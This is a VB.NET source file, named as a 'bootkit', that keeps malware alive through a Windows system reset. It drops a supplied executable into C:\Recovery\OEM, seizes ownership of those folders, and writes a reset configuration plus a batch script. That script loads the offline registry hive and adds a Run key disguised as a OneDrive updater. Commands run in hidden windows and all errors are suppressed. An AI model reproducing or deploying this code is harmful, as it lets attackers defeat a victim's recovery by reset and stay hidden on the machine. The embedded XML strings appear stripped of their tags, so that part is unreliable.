Imports System.IO Namespace ResetSurvival Public Class ResetSurvival Public Shared Sub RunBootkit(sourceFilePath As String) Try Dim flag As Boolean = Not File.Exists(sourceFilePath) If flag Then Throw New FileNotFoundException("Source file does not exist.", sourceFilePath) End If Dim text As String = Guid.NewGuid().ToString() + ".exe" Dim text2 As String = Guid.NewGuid().ToString() + ".bat" Dim text3 As String = GenerateResetConfig(text2) Dim text4 As String = GeneratePersistenceBatch(text, text2) CreateResetEnvironment(targetDirectory, text, text2, text3, text4, sourceFilePath) Catch ex As Exception End Try End Sub Private Shared Function GenerateResetConfig(batchName As String) As String Return String.Concat(New String() {"" & vbCrLf & "" & vbCrLf & " " & vbCrLf, String.Format(" {0}", batchName), vbCrLf & " 1" & vbCrLf & " " & vbCrLf & " " & vbCrLf, String.Format(" {0}", batchName), vbCrLf & " 1" & vbCrLf & " " & vbCrLf & "" & vbCrLf}) End Function Private Shared Function GeneratePersistenceBatch(fileName As String, batchName As String) As String Return String.Concat(New String() {"@echo off" & vbCrLf & "setlocal ENABLEEXTENSIONS" & vbCrLf & "set TARGET_PARENT=C:\Recovery" & vbCrLf & "set TARGET_FOLDER=C:\Recovery\OEM" & vbCrLf & "set SOFTWARE_HIVE_PATH=C:\Windows\System32\config\SOFTWARE" & vbCrLf & "takeown /f ""%TARGET_PARENT%"" /r /d y" & vbCrLf & "icacls ""%TARGET_PARENT%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "takeown /f ""%TARGET_FOLDER%"" /r /d y" & vbCrLf & "icacls ""%TARGET_FOLDER%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "reg load HKLM\TempHive ""%SOFTWARE_HIVE_PATH%""" & vbCrLf, String.Format("reg add ""HKLM\TempHive\Microsoft\Windows\CurrentVersion\Run"" /v ""OneDriveStandaloneUpdater"" /t REG_SZ /d ""\""%TARGET_FOLDER%\{0}\"""" /f", fileName), vbCrLf & "reg unload HKLM\TempHive" & vbCrLf, String.Format("start """" ""%TARGET_FOLDER%\{0}""", fileName), vbCrLf & "endlocal" & vbCrLf & "exit" & vbCrLf}) End Function Private Shared Sub CreateResetEnvironment(targetDir As String, fileName As String, batchName As String, resetConfig As String, persistenceBatch As String, sourceFilePath As String) Try Dim flag As Boolean = Not Directory.Exists(targetDir) If flag Then Directory.CreateDirectory(targetDir) End If EnsureFolderOwnership(targetDir) SafeFileDelete(Path.Combine(targetDir, "ResetConfig.xml")) File.WriteAllText(Path.Combine(targetDir, "ResetConfig.xml"), resetConfig) SafeFileDelete(Path.Combine(targetDir, batchName)) File.WriteAllText(Path.Combine(targetDir, batchName), persistenceBatch) SafeFileDelete(Path.Combine(targetDir, fileName)) File.Copy(sourceFilePath, Path.Combine(targetDir, fileName)) Catch ex As Exception End Try End Sub Private Shared Sub EnsureFolderOwnership(folderPath As String) Try Dim directoryName As String = Path.GetDirectoryName(folderPath) RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", directoryName)) RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", directoryName)) RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", folderPath)) RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", folderPath)) Catch ex As Exception End Try End Sub Private Shared Sub RunCommand(fileName As String, arguments As String) Using process As Process = New Process() process.StartInfo.FileName = fileName process.StartInfo.Arguments = arguments process.StartInfo.CreateNoWindow = True process.StartInfo.UseShellExecute = False process.Start() process.WaitForExit() End Using End Sub Private Shared Sub SafeFileDelete(filePath As String) Try Dim flag As Boolean = File.Exists(filePath) If flag Then File.Delete(filePath) End If Catch ex As Exception End Try End Sub Private Shared targetDirectory As String = "C:\Recovery\OEM" End Class End Namespace